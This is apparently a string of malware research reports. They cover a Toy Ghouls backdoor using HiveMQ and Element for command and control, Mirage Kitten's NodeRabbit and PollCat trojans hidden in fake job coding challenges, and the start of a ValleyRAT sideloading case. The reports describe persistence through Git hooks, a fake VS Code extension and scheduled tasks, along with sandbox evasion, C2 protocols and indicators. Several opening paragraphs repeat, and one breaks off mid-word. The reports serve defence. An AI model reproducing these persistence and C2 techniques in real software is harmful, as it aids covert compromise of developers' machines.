Introduction
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We i
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.
During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.
Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.
Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*
Background
During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.
The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip
It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.
README file for a trojanized coding challenge app
The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.
Rules and time limit included in the trojanized coding challenge app README file
The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.
The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.
Initial access
The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.
The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.
NodeRabbit RAT: the first variant
We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.
Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.
NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.
NodeRabbit uses a persistence mechanism for each operating system:
Operating system
Persistence mechanism
Windows
Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux
Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS
Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.
The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:
NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:
The malware sends encrypted requests using the following structure:
C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:
Command
Functionality
sys:info
Return hostname, domain user information, username, and process ID.
proc:list
List running processes.
proc:start
Execute an arbitrary shell command.
fs:list
List a directory.
fs:read
Read a file in chunks and return Base64 data.
fs:write
Decode Base64 and write it at a chosen file offset.
fs:delete
Delete a file or recursively delete a directory.
fs:mkdir
Create directories recursively.
net:config
Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep
Change the beacon interval.
script:exec
Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.
NodeRabbit RAT: the second variant
Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.
Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.
Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.
Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.
To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).
The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.
For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.
Operating system
Persistence mechanism
Windows
Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux
Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS
Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.
NodeRabbit RAT: the third variant
Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.
The third variant communicates with its C2 infrastructure through a different set of API endpoints:
Method
Endpoint
Purpose
POST
/sdk/v2/ready
Register agent and host info
POST
/sdk/v2/config
Poll for commands
POST
/sdk/v2/events
Submit results
We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.
For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:
Operating system
Persistence mechanism
Windows
Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS
Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux
Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL
Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.
A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.
New commands
Functionality
fs:drives
Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec
Execute a process
proc:kill
Kill process by PID or image name
agent:servers
Replace the active C2 and attempt to keep the new configuration
agent:getchain
Return the current C2
outlook:emails
Harvest account addresses from Outlook OST and PST artifacts
persist:check
Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode
Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove
Remove the fake extension
persist:projects:scan
Search recent and common development locations for Git repositories
persist:project:inject
Inject a launcher into a repository’s Git hooks
persist:project:remove
Remove the marked Git-hook launcher
Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.
1. Malicious VS Code extension
The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.
The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.
Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.
2. Git hook injection
Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.
For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.
PollCat RAT
While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.
Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.
README instructions and challenge overview included in the trojanized React coding project
The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.
One-hour session window enforced by the trojanized coding challenge
The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.
Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier
The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.
That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.
A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.
Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:
Operation system
Persistence mechanism
Windows
Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux
Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS
Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.
Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:
After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.
Method
Endpoint
Purpose
POST
/beacon
Register the client and obtain a socketId and optional timing values.
POST
/gate/hello
Submit host, user, domain, OS information, and its current privilege level.
GET
/gate/fetch?token=<socketId>
Poll for commands.
POST
/gate/submit
Submit a Base64-encoded command-result structure.
GET
/vault/<uuid>
Retrieve a hosted file and write it to the victim machine.
PUT
/vault/push/
Upload a local file or file chunk to the C2.
POST
/gate/track
Report chunk-upload progress.
By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.
PollCat RAT declares 22 commands, but three of them have no implementation:
Command
Functionality
0x02 (DIR)
List a directory.
0x03 (MV)
Move a file or directory.
0x04 (RUN)
Execute a shell command.
0x05 (TASKLIST)
List running processes.
0x06 (DEL)
Delete a file or directory.
0x07 (UPLOAD)
Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)
Upload a local file to the C2.
0X09 (DRIVES)
List drives, volumes, or mount points.
0X0A (TERMINATE)
Terminate a process by PID.
0X0B (RUNDLL)
Load a DLL and call an exported function on Windows.
0X0C (MKDIR)
Create a directory.
0X0D (ZIP)
Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)
Upload a local file in chunks.
0X0F (RUN_HIDDEN)
Start a hidden background process.
0X20 (EVAL_JS)
Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)
Collect process and software inventory.
0XA1 (WS_DOWNLOAD)
Defined but not implemented.
0xB0 (REQUEST_ELEVATION)
Defined but not implemented.
0XB1 (PERSIST)
Defined but not implemented.
0xF0 (SET_SLEEP_TIME)
Change the polling interval.
0XF1 (SET_IDLE_TIME)
Store an idle-time value.
0xF2 (SET_JITTER_TIME)
Change polling jitter.
The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.
EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions. SYSTEM_CHECK collects the names of running processes and lists files and folders from:
%SystemDrive%\Program Files
%SystemDrive%\Program Files (x86)
%LOCALAPPDATA%
%LOCALAPPDATA%\Programs
%APPDATA%
%USERPROFILE%
%APPDATA%\Microsoft\Outlook
%LOCALAPPDATA%\Microsoft\Olk\Attachments
%USERPROFILE%\Documents
It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.
When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.
Infrastructure
Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.
Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com
Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.
Domain
Creation date
Registrar
healthful-hub[.]com
2026-07-03
NameCheap, Inc.
neumedicahealthcare[.]com
2026-07-03
NameCheap, Inc.
optimumhealthcredit[.]com
2026-07-03
NameCheap, Inc.
healthfullyrecipes[.]com
2026-06-30
NameCheap, Inc.
refreshhealthandwellness[.]com
2026-06-09
NameCheap, Inc.
healthvitalitycare[.]com
2026-05-18
NameCheap, Inc.
aceofspadesmanagement[.]com
2026-05-18
NameCheap, Inc.
glmediaagency[.]com
2026-05-18
NameCheap, Inc.
digimediaskill[.]com
2026-05-18
NameCheap, Inc.
healthyweightplan[.]com
2026-05-18
NameCheap, Inc.
mens-health-online[.]com
2026-05-15
NameCheap, Inc.
Victims
Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.
We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.
Attribution
We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:
Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat
Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers
Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.
Conclusions
Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.
The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.
Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that,
Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.
Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.
Malicious installer
The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.
Installer name
What it does
FS_SETUP_DD_173.exe
Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe
Installs Google Chrome
FS_SETUP_HY_173.exe
Opens hxxps://meeting[.]tencent[.]com/download/
These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.
The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.
The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:
File name
MD5
Purpose
1.zip
7ad1e3ef4e6d9d636c9e7e967733850e
Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll
96b4c1d0683dce22bd3223e1e40689c1
7z archiver library
7z.exe
9b86d3ab6cef15c633933fbbeab39c0a
Archiver
chrome_elf.dll
edfdc30cbd85879776b8f735ea7de1f1
Library used to launch Electron-based applications
libcef.dll
07ddbbe2c71c45577a7a4fbcdba0df91
Malicious library
PeLoader
48826d5ca845979d2e6ebd66dc1aae90
File containing the encrypted backdoor
QnWallpaper.exe
6c158c0f8e029342192d4f0d72e102b7
Adware module
QnwPlayer.exe
9a71d6a41cd258b9e89cdc5fc224de73
Adware module
<random string of letters and digits>Nedca.exe
c24e99f9437feacaa63766a3cde3fe3d
Malicious installer copy
After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.
Disabling Windows Defender
DLL Sideloading via libcef.dll
QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.
